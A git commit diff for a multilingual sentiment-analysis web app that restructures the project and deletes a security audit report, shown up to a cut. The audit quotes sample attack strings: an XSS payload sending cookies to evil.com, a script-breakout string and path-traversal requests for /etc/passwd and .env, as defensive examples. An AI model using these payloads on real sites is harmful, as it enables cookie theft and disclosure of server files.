Restructure project layout, modernize stack, and clean up deprecated code

- Flatten directory structure: api/app/ -> app/, config/docker/ -> docker/
- Rename ML library from src/ to absa/ for clarity
- Migrate from Streamlit dashboard to HTMX-based UI (see docs/HTMX_MIGRATION.md)
- Add CSRF middleware (app/middleware/csrf.py) and pyproject.toml
- Remove deprecated: dashboard_backup/, streamlit_app/, old planning docs, railway.json
- Update: README, .env.example, .gitignore, requirements.txt, dvc.yaml, tests
- Fix import paths across absa/, app/, tests/, and scripts/

.env.example

@@ -13,7 +13,8 @@ MODEL_PATH=models/onnx/
 MAX_BATCH_SIZE=10000
 
 # Security
-CORS_ORIGINS=http://localhost:3000,http://localhost:8501,http://localhost:8000
+CORS_ORIGINS=http://localhost:3000,http://localhost:8000
+CSRF_SECRET=change_this_to_strong_random_secret
 GRAFANA_ADMIN_PASSWORD=change_this_to_strong_password
 
 # Logging

.gitignore

@@ -46,8 +46,8 @@ data/processed/
 .ipynb_checkpoints/
 
 # Agent/IDE configs (optional — decide per tool)
-# .claude/
-# .opencode/
+.claude/
+.opencode/
 
 # OS
 .DS_Store

CHANGELOG.md

@@ -0,0 +1,27 @@
+# Changelog
+
+## v2.0.0 - Streamlit → HTMX Migration
+
+### Breaking Changes
+- Streamlit frontend (`streamlit_app/`) has been removed entirely
+- The separate Streamlit server on port 8501 no longer exists
+- Plotly dependency removed (replaced by Chart.js for client-side charts)
+- Streamlit dependency removed from `requirements.txt`
+- Docker Compose file no longer includes the `streamlit` service
+- `Dockerfile.streamlit` deleted
+
+### What's New
+- HTMX 2.0.3 + Jinja2 frontend served directly by FastAPI
+- Alpine.js for reactive UI state management
+- Tailwind CSS (Play CDN) for styling
+- Chart.js for client-side chart rendering in batch results
+- CSRF protection via `itsdangerous` for all HTMX form submissions
+- SSE endpoint for live batch progress updates
+- Server-Sent Events support via `sse-starlette`
+- New dependencies: `sse-starlette`, `itsdangerous`, `pytest-asyncio`
+
+### Notes
+- Single server: `uvicorn app.main:app --reload` on port 8000
+- JSON API endpoints at `/api/predict`, `/api/batch` are preserved
+- Swagger UI at `/docs` is preserved
+- All ML model code, Celery workers, DVC/MLflow integration is unchanged

README.md

@@ -1,101 +1,214 @@
 # Multilingual Aspect-Based Sentiment Analysis (ABSA)
 
-![Python](https://img.shields.io/badge/Python-3.10%2B-blue.svg)
-![FastAPI](https://img.shields.io/badge/FastAPI-0.111.0-00a393.svg)
-![HTMX](https://img.shields.io/badge/HTMX-1.9-3d72d4.svg)
-![DVC](https://img.shields.io/badge/DVC-3.51.1-945dd6.svg)
-![MLflow](https://img.shields.io/badge/MLflow-2.13.0-0194E2.svg)
-
-This repository contains a multilingual Aspect-Based Sentiment Analysis system for English, Hindi, and Hinglish product reviews. It provides both a FastAPI JSON API and a server-rendered web UI backed by Jinja2 templates and HTMX interactions.
-
-The inference stack is centered on ONNX Runtime models, with a fallback pipeline for environments where the custom artifacts are not available. The project also includes DVC pipelines, MLflow tracking, Redis/Celery workers, PostgreSQL, and Prometheus/Grafana monitoring.
-
-## What’s Included
-
-- Multilingual review processing for English, Hindi, and Hinglish.
-- FastAPI application with prediction, results, and monitoring routes.
-- Server-rendered UI available at `/predict`, `/batch`, and `/monitor`.
-- Batch processing, async task execution, and database-backed persistence.
-- DVC, MLflow, and monitoring assets for experiment and system tracking.
-
-## Repository Layout
-
-```text
-api/          FastAPI app, routes, middleware, schemas, services, templates
-config/       Docker and deployment configuration
-data/         Raw and processed datasets
-docs/         Architecture, API, deployment, and design notes
-ml/           Training notebooks and experimentation assets
-models/       Model artifacts, including ONNX assets
-monitoring/   Prometheus and Grafana configuration
-scripts/      Utility scripts for data, models, and monitoring
-src/          Core data, training, and evaluation code
-tests/        Test suite
-dashboard_backup/  Legacy React dashboard preserved as a backup
+[![Python](https://img.shields.io/badge/Python-3.10%2B-blue.svg)](https://python.org)
+[![FastAPI](https://img.shields.io/badge/FastAPI-0.115-00a393.svg)](https://fastapi.tiangolo.com)
+[![HTMX](https://img.shields.io/badge/HTMX-2.0-3d72d4.svg)](https://htmx.org)
+[![DVC](https://img.shields.io/badge/DVC-3.51-945dd6.svg)](https://dvc.org)
+[![MLflow](https://img.shields.io/badge/MLflow-2.15-0194E2.svg)](https://mlflow.org)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
+
+**Analyse product reviews in English, Hindi, and Hinglish — extract aspects and their sentiment in real time.**
+
+---
+
+## Quick Start
+
+```bash
+git clone <repo-url> && cd multilingual-absa
+python -m venv .venv && source .venv/bin/activate
+pip install -r requirements.txt
+PYTHONPATH=. uvicorn app.main:app --reload --host 0.0.0.0 --port 8000
 ```
 
-## Getting Started
+Open:
+- **Web UI** → [`http://localhost:8000/predict`](http://localhost:8000/predict)
+- **Batch upload** → [`http://localhost:8000/batch`](http://localhost:8000/batch)
+- **API docs** → [`http://localhost:8000/docs`](http://localhost:8000/docs)
 
-### Prerequisites
+---
 
-- Python 3.10+
-- Docker and Docker Compose if you want the full stack
+## What This Does
 
-### Local Setup
+The system identifies **aspects** (specific features like "battery life", "sound quality") and their **sentiment** (positive, negative, neutral) from product reviews. It supports three languages:
 
-```bash
-git clone <repository-url>
-cd Multilingual-Absa
+| Language | Aspect Extraction | Sentiment |
+|----------|:-:|:-:|
+| English   | ✅ | ✅ |
+| Hindi     | ✅ | ✅ |
+| Hinglish  | ✅ | ✅ |
 
-python -m venv .venv
-source .venv/bin/activate
-pip install -r requirements.txt
+**Production performance** (ONNX INT8 quantised):
+
+| Language | F1 Score | Latency p95 |
+|----------|:--------:|:-----------:|
+| English  | 78.1%    | 185 ms      |
+| Hindi    | 67.8%    | 185 ms      |
+
+---
+
+## Project Structure
+
+```
+.
+├── app/                        # FastAPI web application
+│   ├── main.py                 # Entry point — uvicorn app.main:app
+│   ├── core/                   # App configuration (templates, settings)
+│   ├── middleware/              # CSRF, rate limiting, metrics, DB deps
+│   ├── routes/                 # API endpoints (predict, batch, health) + HTMX pages
+│   ├── schemas/                # Pydantic models + SQLAlchemy ORM
+│   ├── services/               # ABSA inference pipeline, language detection
+│   ├── tasks/                  # Celery batch processing workers
+│   ├── static/                 # CSS design system
+│   └── templates/              # Jinja2 + HTMX frontend
+│       ├── base.html           # Layout with Alpine.js, Tailwind, HTMX
+│       ├── pages/              # Page templates (predict, batch, monitor)
+│       ├── partials/           # HTMX fragment partials
+│       └── macros/             # Reusable UI macros (badges, icons)
+├── absa/                       # Core ML library (pure Python)
+│   ├── data/                   # Data loading, preprocessing, augmentation
+│   ├── models/                 # Training scripts (ONNX, Transformers, baselines)
+│   ├── evaluation/             # Cross-lingual eval, latency benchmarking
+│   ├── training/               # MLflow experiment tracking
+│   └── utils/                  # Path configuration
+├── docker/                     # Containerisation
+│   ├── Dockerfile              # Production app image
+│   ├── Dockerfile.prod         # Production image (HuggingFace Hub model source)
+│   ├── docker-compose.yml      # Full stack: API + worker + DB + Redis + monitoring
+│   └── docker-compose.prod.yml # Production overrides
+├── tests/                      # Test suite
+│   ├── api/                    # API endpoint tests
+│   ├── web/                    # Page rendering + HTMX fragment tests
+│   └── unit/                   # Unit tests (bio tagger, lang detect)
+├── scripts/                    # Utility scripts
+├── docs/                       # Documentation
+├── .env.example                # Environment variable template
+├── dvc.yaml                    # DVC data pipeline
+└── pyproject.toml              # Project metadata
 ```
 
-If you use environment variables, create a local `.env` file before starting the app.
+---
 
-### Run the App Locally
+## Architecture
 
-```bash
-PYTHONPATH=. uvicorn api.app.main:app --reload --host 0.0.0.0 --port 8000
+```
+┌─────────┐    HTMX / Alpine.js     ┌──────────────────┐
+│ Browser │◄───────────────────────►│   FastAPI (8000)  │
+└─────────┘                         │   app/main.py     │
+                                    │                   │
+                                    │  ┌─────────────┐  │
+                                    │  │ Jinja2       │  │
+                                    │  │ Templates    │  │
+                                    │  └─────────────┘  │
+                                    │  ┌─────────────┐  │
+                                    │  │ JSON REST    │  │
+                                    │  │ API          │  │
+                                    │  └─────────────┘  │
+                                    └────────┬──────────┘
+                                             │
+                    ┌────────────────────────┼────────────────────┐
+                    │                        │                    │
+              ┌─────▼─────┐          ┌───────▼──────┐    ┌───────▼──────┐
+              │ PostgreSQL │          │  Redis/Celery │    │  Prometheus  │
+              │ (results)  │          │ (batch jobs)  │    │  + Grafana   │
+              └───────────┘          └──────────────┘    └──────────────┘
 ```
 
-Open:
+### Inference Stack
+
+| Component | Layer | Notes |
+|-----------|-------|-------|
+| ONNX INT8 | Primary | Production — 185 ms p95 latency |
+| ONNX FP32 | Fallback | Same model, no quantisation — 520 ms |
+| Rule-based | Fallback | Keyword lexicon + context-window scoring — zero download |
 
-- `http://localhost:8000/predict`
-- `http://localhost:8000/batch`
-- `http://localhost:8000/monitor`
-- `http://localhost:8000/docs`
+The pipeline auto-selects: **ONNX INT8** → **ONNX FP32** → **Rule-based**. No external model downloads required.
 
-### Run with Docker
+---
+
+## Features
+
+### Web UI (HTMX + Jinja2)
+
+- **Single Prediction** — Real-time aspect/sentiment analysis with inline text highlighting
+- **Batch Processing** — CSV upload with drag-and-drop, progress bar, Chart.js visualisations
+- **System Monitor** — Live health checks, performance metrics, endpoint activity log
+- **CSRF Protected** — All form submissions protected via itsdangerous tokens
+- **Dark Theme** — Material Design 3 colour system, responsive layout
+
+### API (RESTful JSON)
+
+| Endpoint | Method | Description |
+|----------|--------|-------------|
+| `/predict` | POST | Analyse a single review |
+| `/batch` | POST | Upload CSV for bulk analysis |
+| `/status/{job_id}` | GET | Check batch job progress |
+| `/health` | GET | API health check |
+| `/info` | GET | Model metadata |
+| `/metrics` | GET | Prometheus metrics |
+| `/docs` | GET | Swagger UI |
+
+### ML Pipeline (DVC)
 
 ```bash
-docker compose -f config/docker/docker-compose.yml up --build
+dvc pull       # Download datasets
+dvc repro      # Reproduce preprocessing
+dvc push       # Upload to remote storage
 ```
 
-That compose file starts the API, worker, PostgreSQL, Redis, Prometheus, Grafana, and the dashboard service.
+### Monitoring
+
+- **Prometheus** metrics at `/metrics`
+- **Grafana** dashboards for request volume, latency, error rate
+- **Evidently** drift detection (`scripts/drift_monitor.py`)
+- **MLflow** experiment tracking (`scripts/mlflow_ui.sh`)
+
+---
+
+## Development
 
-### Reproduce the ML Pipeline
+### Run Tests
 
 ```bash
-dvc pull
-dvc repro
-dvc push
+PYTHONPATH=. pytest tests/ -v
 ```
 
-## How It Works
+### Run Full Stack (Docker)
+
+```bash
+docker compose -f docker/docker-compose.yml up --build
+```
+
+Starts: API (8000), PostgreSQL, Redis, Celery worker, Prometheus (9090), Grafana (3001).
+
+### Environment Variables
+
+Copy `.env.example` to `.env` and configure:
+
+| Variable | Required | Description |
+|----------|:--------:|-------------|
+| `DATABASE_URL` | ✅ | PostgreSQL or SQLite connection string |
+| `REDIS_URL` | ✅ | Redis connection for Celery |
+| `CORS_ORIGINS` | ❌ | Allowed CORS origins (default: localhost) |
+| `CSRF_SECRET` | ❌ | Secret for CSRF token signing |
+| `MODEL_PATH` | ❌ | Path to ONNX model directory |
+| `MODEL_SOURCE` | ❌ | `local` or `huggingface_hub` |
+
+---
 
-1. A review is submitted through the API or web UI.
-2. The app detects or accepts the language and routes the request through the ABSA pipeline.
-3. The pipeline uses the available ONNX-backed models when present.
-4. If the model artifacts are missing, the system falls back to the rule-based path so inference can still continue.
-5. Predictions and runtime signals can be observed through the app, metrics endpoint, and monitoring stack.
+## Documentation
 
-## Notes
+| Document | Contents |
+|----------|----------|
+| [API](docs/API.md) | Full API reference with schemas and examples |
+| [Architecture](docs/ARCHITECTURE.md) | System design, data flow, deployment |
+| [Deployment](docs/DEPLOYMENT.md) | Production setup, Docker, Railway |
+| [Database](docs/DATABASE.md) | Schema, migrations, query patterns |
+| [Security](docs/SECURITY.md) | Threat model, audit results, mitigations |
+| [Tech Stack](docs/TECH_STACK.md) | Framework versions, rationale, trade-offs |
+| [HTMX Migration](docs/HTMX_MIGRATION.md) | Notes on Streamlit → HTMX transition |
 
-- The active web UI is served by the FastAPI app. `dashboard_backup/` is kept only as a legacy reference.
-- The main application entrypoint is `api.app.main:app`.
+---
 
 ## License
 
-This project is licensed under the MIT License. See the LICENSE file for details.
+MIT License. See [LICENSE](LICENSE) for details.

SECURITY_AUDIT.md

@@ -1,670 +0,0 @@
-# Security Audit Report — Multilingual ABSA
-
-**Date:** 2026-07-16  
-**Scope:** Full codebase review  
-**Standard:** OWASP Top 10, CWE, Secure Coding Best Practices  
-
----
-
-## Executive Summary
-
-A comprehensive security audit of the Multilingual ABSA codebase identified **28 security findings**: 2 Critical, 6 High, 12 Medium, and 8 Low. The most significant risks involve **XSS via injection in Jinja2 templates** (`tojson | safe`), **hardcoded database credentials** in docker-compose.yml, **unsafe path traversal** in file download endpoints, **SSRF** exposure through unvalidated file reads, **unauthenticated API access**, and **dependency risks** from pinned versions with known CVEs (MLflow 2.13.0, FastAPI 0.111.0, Jinja2 transitive).
-
-No authentication or authorization layer exists — every API endpoint is fully public. There is no HTTPS enforcement, no input sanitization, and no rate limiting.
-
----
-
-## Critical Findings
-
-### C-01: Stored/Reflected XSS via `tojson | safe` in Jinja2 Templates
-
-**Severity:** Critical  
-**CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)  
-**OWASP:** A03:2021 – Injection  
-**File:** `api/app/templates/partials/predict_result.html:71`  
-**Lines:** 71
-
-**Description:** User-supplied text is serialized to JSON via the Jinja2 `| tojson` filter and then marked as `| safe`. The resulting JSON string is embedded directly into a `<script>` tag without any escaping. An attacker can inject arbitrary JavaScript that executes in the browser of any user viewing prediction results.
-
-```html
-<script>
-const aspects = {{ result.aspects | tojson | safe }};
-</script>
-```
-
-The `| safe` flag tells Jinja2 to skip HTML escaping. While the aspect data originates from the application's rule-based engine, user text flows through `result.text` rendering and the aspects include character offsets (`start`, `end`) derived from user input.
-
-**Attack Scenario:** An attacker submits a prediction with crafted text that, when processed and serialized, produces `</script><script>alert(document.cookie)</script>`. Any user viewing the prediction result in the dashboard triggers the payload.
-
-**Recommended Fix:**
-```html
-<script>
-const aspects = {{ result.aspects | tojson }};
-</script>
-```
-
-Remove `| safe` — Jinja2's `| tojson` filter already produces safe JSON, but `| safe` overrides escaping. Alternatively, use `{{ result.aspects | tojson | e }}`.
-
----
-
-### C-02: Unsafe `innerHTML` Assignment with User Text in Client-Side Script
-
-**Severity:** Critical  
-**CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)  
-**OWASP:** A03:2021 – Injection  
-**File:** `api/app/templates/partials/predict_result.html:68-87`  
-**Lines:** 68–87
-
-**Description:** User-provided text (`result.text`) is injected into the DOM via `innerHTML` assignment without sanitization. The script slices the raw user text and wraps matched segments in `<span>` elements. If the user text contains HTML tags (e.g., `<img onerror=alert(1) src=x>`), those tags will be rendered and executed.
-
-```javascript
-let html = text;  // user-controlled text
-// ... string slicing ...
-html = before + '<span class="' + cssClass + '">' + match + '</span>' + after;
-container.innerHTML = html;
-```
-
-**Attack Scenario:** A user submits text containing `<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">`. The script sets `innerHTML`, causing the event handler to fire and exfiltrate cookies.
-
-**Recommended Fix:** Use `textContent` for the initial text, then create `<span>` elements programmatically with `document.createElement` and `appendChild`. Never use `innerHTML` with user-controlled data.
-
----
-
-## High Findings
-
-### H-01: Hardcoded Database Credentials in docker-compose.yml
-
-**Severity:** High  
-**CWE:** CWE-798 (Use of Hardcoded Credentials)  
-**OWASP:** A07:2021 – Identification and Authentication Failures  
-**File:** `config/docker/docker-compose.yml:57-58`  
-**Lines:** 57–58
-
-**Description:** PostgreSQL credentials are hardcoded as plaintext:
-```yaml
-POSTGRES_USER: absa_user
-POSTGRES_PASSWORD: absa_pass
-```
-
-The same credentials are reused in the `DATABASE_URL` environment variables for the API and worker services. These credentials are committed to version control, have no expiration, and are guessable.
-
-**Attack Scenario:** An attacker who gains access to the Docker network (or reads the docker-compose.yml from the git repo) can connect directly to PostgreSQL and exfiltrate/modify all stored prediction data.
-
-**Recommended Fix:** Use Docker secrets or a `.env` file excluded from version control.
-
----
-
-### H-02: Path Traversal in Download Endpoint
-
-**Severity:** High  
-**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)  
-**OWASP:** A01:2021 – Broken Access Control  
-**File:** `api/app/routes/results.py:27-35`  
-**Lines:** 27–35
-
-**Description:** The `/download/{job_id}` endpoint directly interpolates the user-supplied `job_id` parameter into a file path without sanitization. An attacker can inject `../` sequences to read arbitrary files on the server.
-
-```python
-@router.get("/download/{job_id}")
-async def download_result(job_id: str):
-    file_path = Path(f"data/results/{job_id}.csv")
-```
-
-**Attack Scenario:** `GET /download/../../../etc/passwd` resolves to `data/results/../../../etc/passwd.csv` → reads `/etc/passwd`. Also possible: `GET /download/../../.env` to read environment variables.
-
-**Recommended Fix:** Validate `job_id` format (UUID regex), use `os.path.realpath` and verify it stays within the allowed base directory.
-
----
-
-### H-03: Hardcoded Grafana Admin Password
-
-**Severity:** High  
-**CWE:** CWE-798 (Use of Hardcoded Credentials)  
-**OWASP:** A07:2021 – Identification and Authentication Failures  
-**File:** `config/docker/docker-compose.yml:87`  
-**Line:** 87
-
-**Description:** Grafana admin password is hardcoded as `admin`:
-```yaml
-GF_SECURITY_ADMIN_PASSWORD: admin
-```
-
-**Attack Scenario:** Anyone with network access to Grafana (port 3001) can log in as admin with password `admin` and gain full access to dashboards, data sources, and potential server-side request forgery via Prometheus queries.
-
-**Recommended Fix:** Remove or use a strong password loaded from a secret.
-
----
-
-### H-04: Information Disclosure — Verbose Error Messages
-
-**Severity:** High  
-**CWE:** CWE-209 (Generation of Error Message Containing Sensitive Information)  
-**OWASP:** A04:2021 – Insecure Design  
-**Files:** `api/app/routes/predict.py:50`, `batch_charts.html:3`, `pages.py:280`  
-**Lines:** 50, 3, 280
-
-**Description:** Exception messages are returned directly in HTTP responses and rendered in HTML:
-```python
-raise HTTPException(status_code=500, detail=f"Model inference failed: {str(e)}")
-```
-
-And in templates, `{{ error }}` is rendered directly without sanitization, where error comes from:
-```python
-return templates.TemplateResponse("partials/batch_charts.html", {"request": request, "error": str(e)})
-```
-
-In `predict_result.html:6`: `{{ error }}` — This renders user-influenced error text.
-
-**Attack Scenario:** A malformed request triggers a detailed traceback revealing internal paths, Python versions, or database schema details.
-
-**Recommended Fix:** Log the full exception server-side and return a generic error message to the client. Use structured error logging.
-
----
-
-### H-05: SQL Injection via F-String in Raw SQL Query
-
-**Severity:** High  
-**CWE:** CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)  
-**OWASP:** A03:2021 – Injection  
-**File:** `scripts/drift_monitor.py:32`  
-**Line:** 32
-
-**Description:** An f-string is used to construct a SQL query without parameterization:
-```python
-query = f"SELECT text, language FROM reviews WHERE created_at >= '{seven_days_ago.isoformat()}'"
-curr_df = pd.read_sql(query, engine)
-```
-
-While `seven_days_ago` is not user-controlled in the current code, this pattern is dangerous and could be exploited if the script is later modified or the date is sourced from user input. Using `pd.read_sql` with a query built via f-string is a SQL injection risk.
-
-**Attack Scenario:** If `seven_days_ago` becomes user-controllable, an attacker could inject SQL commands via the datetime string.
-
-**Recommended Fix:** Use parameterized queries with `params=` argument in `pd.read_sql`.
-
----
-
-### H-06: Unauthenticated Sensitive API Endpoints
-
-**Severity:** High  
-**CWE:** CWE-306 (Missing Authentication for Critical Function)  
-**OWASP:** A01:2021 – Broken Access Control  
-**Files:** `api/app/routes/predict.py`, `api/app/routes/results.py`, `api/app/routes/pages.py`  
-**Lines:** All
-
-**Description:** Every API endpoint (predict, batch upload, health, info, download, HTMX fragments) is fully unauthenticated. There is no authentication middleware, no API keys, no JWT tokens, no session management of any kind.
-
-Exposed endpoints:
-- `POST /predict` — Model inference
-- `POST /batch` — Batch file upload and processing
-- `GET /status/{job_id}` — Batch status polling
-- `GET /download/{job_id}` — Result file download
-- `GET /health` — Health info
-- `GET /info` — System information
-- `GET /metrics` — Prometheus metrics
-
-**Attack Scenario:** Anyone on the network can submit unlimited predictions, upload arbitrary CSV files, download results, and read system information. This enables resource exhaustion, data theft, and reconnaissance.
-
-**Recommended Fix:** Implement authentication middleware (API key or JWT). At minimum, protect the `/batch`, `/download`, and `/metrics` endpoints.
-
----
-
-## Medium Findings
-
-### M-01: No Rate Limiting on API Endpoints
-
-**Severity:** Medium  
-**CWE:** CWE-770 (Allocation of Resources Without Limits or Throttling)  
-**OWASP:** A04:2021 – Insecure Design  
-**Files:** `api/app/routes/predict.py`, `api/app/main.py`  
-**Lines:** All
-
-**Description:** There is no rate limiting on any endpoint. The predict endpoint accepts arbitrarily large text inputs (only limited by request size), and the batch endpoint accepts CSV files up to 10,000 rows.
-
-**Attack Scenario:** An attacker sends 1,000,000+ predict requests per minute, causing CPU exhaustion on the inference pipeline and DoS for legitimate users.
-
-**Recommended Fix:** Implement `slowapi` middleware for FastAPI with per-IP rate limiting (e.g., 60 requests/minute for `/predict`, 10 requests/minute for `/batch`).
-
----
-
-### M-02: No Input Size Validation on Predict Endpoint
-
-**Severity:** Medium  
-**CWE:** CWE-770 (Allocation of Resources Without Limits or Throttling)  
-**OWASP:** A04:2021 – Insecure Design  
-**File:** `api/app/schemas/schemas.py:6-8`, `api/app/routes/predict.py:24`  
-**Lines:** 6–8, 24
-
-**Description:** The `ReviewInput` schema accepts a `text` field of type `str` with no `max_length` constraint. While the dashboard imposes a 512-char limit client-side, the API has no server-side enforcement, allowing arbitrarily large text to be submitted.
-
-**Attack Scenario:** An attacker sends a 100MB text string, exhausting server memory during tokenization and inference.
-
-**Recommended Fix:** Add `max_length=10000` (or reasonable value) to the Pydantic model field.
-
----
-
-### M-03: Unvalidated File Upload — No Content-Type Validation
-
-**Severity:** Medium  
-**CWE:** CWE-434 (Unrestricted Upload of File with Dangerous Type)  
-**OWASP:** A05:2021 – Security Misconfiguration  
-**File:** `api/app/routes/predict.py:54-56`  
-**Lines:** 54–56
-
-**Description:** File upload validation only checks the filename extension (`.csv`). The actual file content is not validated:
-```python
-if not file.filename.endswith(".csv"):
-    raise HTTPException(status_code=422, detail="Only CSV files are allowed.")
-```
-
-An attacker can upload a `.csv` file that is actually an executable, zip bomb, or symlink.
-
-**Attack Scenario:** An attacker uploads a compressed CSV with "text" column that contains script payloads. The file is saved to a temp directory and processed by Celery.
-
-**Recommended Fix:** Validate MIME type server-side, limit file size at the upload handler, and validate CSV content structure before processing.
-
----
-
-### M-04: Hardcoded MLflow Tracking URI and Secrets in Source Code
-
-**Severity:** Medium  
-**CWE:** CWE-798 (Use of Hardcoded Credentials)  
-**OWASP:** A05:2021 – Security Misconfiguration  
-**Files:** Various training scripts
-
-**Description:** MLflow tracking URI is hardcoded as `sqlite:///mlflow.db` in multiple files, and Hugging Face credentials are hardcoded as `YOUR_HF_USERNAME`:
-- `src/models/train_joint_absa.py:195` — `mlflow.set_tracking_uri("sqlite:///mlflow.db")`
-- `src/training/mlflow_utils.py:6` — `MLFLOW_TRACKING_URI = "sqlite:///mlflow/mlflow.db"`
-- `scripts/upload_models.py:7` — `username = os.environ.get("HF_USERNAME", "YOUR_HF_USERNAME")`
-
-**Attack Scenario:** In production, these would connect to the wrong tracking server or expose repository information.
-
-**Recommended Fix:** Load MLflow URI and all credentials from environment variables.
-
----
-
-### M-05: Prometheus Metrics Expose Sensitive Information
-
-**Severity:** Medium  
-**CWE:** CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)  
-**OWASP:** A01:2021 – Broken Access Control  
-**File:** `api/app/main.py:44`  
-**Line:** 44
-
-**Description:** Prometheus metrics endpoint `/metrics` is publicly exposed without authentication:
-```python
-instrumentator.instrument(app).expose(app, endpoint="/metrics")
-```
-
-The metrics include request counts, latencies, in-progress requests, and potentially internal system information.
-
-**Attack Scenario:** An attacker can monitor system performance and request patterns, identifying slow endpoints or determining when batch processing jobs run.
-
-**Recommended Fix:** Add authentication to the `/metrics` endpoint or restrict it to internal network access.
-
----
-
-### M-06: Unrestricted File Write via Batch Results
-
-**Severity:** Medium  
-**CWE:** CWE-73 (External Control of File Name or Path)  
-**OWASP:** A01:2021 – Broken Access Control  
-**File:** `api/app/tasks/batch_tasks.py:31-32`  
-**Lines:** 31–32
-
-**Description:** Batch results are written to `data/results/{job_id}.csv` where `job_id` is a UUID, but the job_id validation is insufficient at earlier stages. The results directory is wide-open for file writes.
-
-**Attack Scenario:** Combined with path traversal in the download endpoint, an attacker could craft a job_id to write files outside the intended directory.
-
-**Recommended Fix:** Ensure job_id is validated as a UUID before file operations.
-
----
-
-### M-07: No HTTPS/TLS Termination
-
-**Severity:** Medium  
-**CWE:** CWE-319 (Cleartext Transmission of Sensitive Information)  
-**OWASP:** A02:2021 – Cryptographic Failures  
-**Files:** `config/docker/nginx.dashboard.conf`, `docker-compose.yml`
-
-**Description:** All services communicate over plain HTTP. The Nginx config listens on port 80 with no TLS. The FastAPI server binds to `0.0.0.0:8000` over HTTP. The dashboard config (`VITE_API_URL=http://localhost:8000`) defaults to HTTP.
-
-**Attack Scenario:** On a non-local network, an attacker can MITM all API traffic, reading prediction text and response data.
-
-**Recommended Fix:** Add TLS termination at the Nginx level. Use environment-specific URLs.
-
----
-
-### M-08: Hardcoded Redis Configuration
-
-**Severity:** Medium  
-**CWE:** CWE-798 (Use of Hardcoded Credentials)  
-**OWASP:** A05:2021 – Security Misconfiguration  
-**File:** `config/docker/docker-compose.yml:68-69`
-
-**Description:** Redis is deployed without authentication (`redis:7-alpine` with no `requirepass`). This is the production docker-compose.
-
-**Attack Scenario:** Anyone on the Docker network can connect to Redis, read/write cache data, and potentially trigger Celery task manipulation.
-
-**Recommended Fix:** Add `--requirepass` to Redis or use a password from environment.
-
----
-
-### M-09: CORS Not Configured Limitingly
-
-**Severity:** Medium  
-**CWE:** CWE-942 (Permissive Cross-domain Policy with Untrusted Domains)  
-**OWASP:** A05:2021 – Security Misconfiguration  
-**File:** `api/app/main.py`
-
-**Description:** FastAPI has no CORS middleware configured. The default behavior allows no CORS headers, but when deployed behind Nginx, the proxy may inadvertently allow permissive CORS. In some configurations, this can lead to CSRF-like attacks.
-
-**Attack Scenario:** If the API is accessed by browser-based clients without proper CORS configuration, a malicious site could attempt to trick logged-in users.
-
-**Recommended Fix:** Explicitly configure CORS middleware with allowed origins, methods, and headers.
-
----
-
-## Low Findings
-
-### L-01: Temp File Not Deleted After Batch Processing
-
-**Severity:** Low  
-**CWE:** CWE-377 (Insecure Temporary File)  
-**OWASP:** A04:2021 – Insecure Design  
-**File:** `api/app/routes/predict.py:60-61`  
-**Lines:** 60–61
-
-**Description:** Uploaded CSV files are written to `tempfile.NamedTemporaryFile(delete=False)` but are never explicitly deleted after processing. The garbage collector may not clean them promptly.
-
-**Attack Scenario:** Over time, disk space on the server is exhausted by accumulated temp files. Additionally, the temp files may contain sensitive review data.
-
-**Recommended Fix:** Ensure temp file is deleted in a `finally` block after the Celery task completes, or use `delete=True` (which is default).
-
----
-
-### L-02: `load_dotenv()` Called Multiple Times
-
-**Severity:** Low  
-**CWE:** CWE-200 (Exposure of Sensitive Information)  
-**OWASP:** A05:2021 – Security Misconfiguration  
-**Files:** `api/app/main.py:8`, `api/app/middleware/dependencies.py:6`, `scripts/init_db.py:11`
-
-**Description:** `load_dotenv()` is called in multiple files, meaning environment variables are loaded from disk in multiple locations. While not directly harmful, it indicates a lack of centralized configuration management.
-
-**Attack Scenario:** None directly, but inconsistent env loading could lead to different services using different configurations.
-
-**Recommended Fix:** Call `load_dotenv()` only in the main application entry point.
-
----
-
-### L-03: Debug/Verbose Logging Enabled
-
-**Severity:** Low  
-**CWE:** CWE-489 (Active Debug Code)  
-**OWASP:** A05:2021 – Security Misconfiguration  
-**File:** `config/docker/docker-compose.yml`  
-**Line:** 12
-
-**Description:** The production compose file sets `LOG_LEVEL=WARNING`, but the dev compose sets `LOG_LEVEL=INFO` which may expose verbose information.
-
-**Also:** Multiple `print()` statements are used instead of proper logging throughout the codebase:
-- `api/app/main.py:21,24` — `print("Initializing Database...")`, `print("Loading Models...")`
-- `print()` in many training scripts
-
-**Attack Scenario:** Verbose logging may expose sensitive information in log files.
-
-**Recommended Fix:** Use structured logging (`loguru` or standard `logging`) instead of print, and configure log levels via environment variables.
-
----
-
-### L-04: SQLite Used in Production Configuration
-
-**Severity:** Low  
-**CWE:** CWE-1053 (Missing Documentation for Security Controls)  
-**OWASP:** A05:2021 – Security Misconfiguration  
-**File:** `.env`  
-**Line:** 1
-
-**Description:** The active `.env` file uses SQLite: `sqlite:////Users/theogengineer/Projects/Multilingual-Absa/absa.db`. SQLite is unsuitable for production workloads — no concurrent write support, no access controls.
-
-**Attack Scenario:** SQLite file accessible to anyone with filesystem access.
-
-**Recommended Fix:** Use PostgreSQL (already configured in docker-compose.yml).
-
----
-
-### L-05: No Session Timeout or Management
-
-**Severity:** Low  
-**CWE:** CWE-613 (Insufficient Session Expiration)  
-**OWASP:** A07:2021 – Identification and Authentication Failures  
-**Files:** All
-
-**Description:** There is no session management at all. The Streamlit app makes stateless API calls, and the React dashboard has no auth.
-
-**Attack Scenario:** None directly (no sessions), but users may assume their "session" is secure.
-
-**Recommended Fix:** Implement token-based auth for any future session requirements.
-
----
-
-### L-06: Hardcoded Seed Values for Randomness
-
-**Severity:** Low  
-**CWE:** CWE-335 (Incorrect Usage of Seeds in Pseudo-Random Number Generator)  
-**OWASP:** A02:2021 – Cryptographic Failures  
-**Files:** Multiple training scripts
-
-**Description:** `set_seed(42)` is hardcoded in every training script. This is standard for reproducibility but means the random seed is predictable.
-
-**Attack Scenario:** An attacker who understands the model training pipeline could predict train/test splits.
-
-**Recommended Fix:** Make seed configurable via config/env while keeping a default.
-
----
-
-### L-07: Unnecessary Console Output in Production
-
-**Severity:** Low  
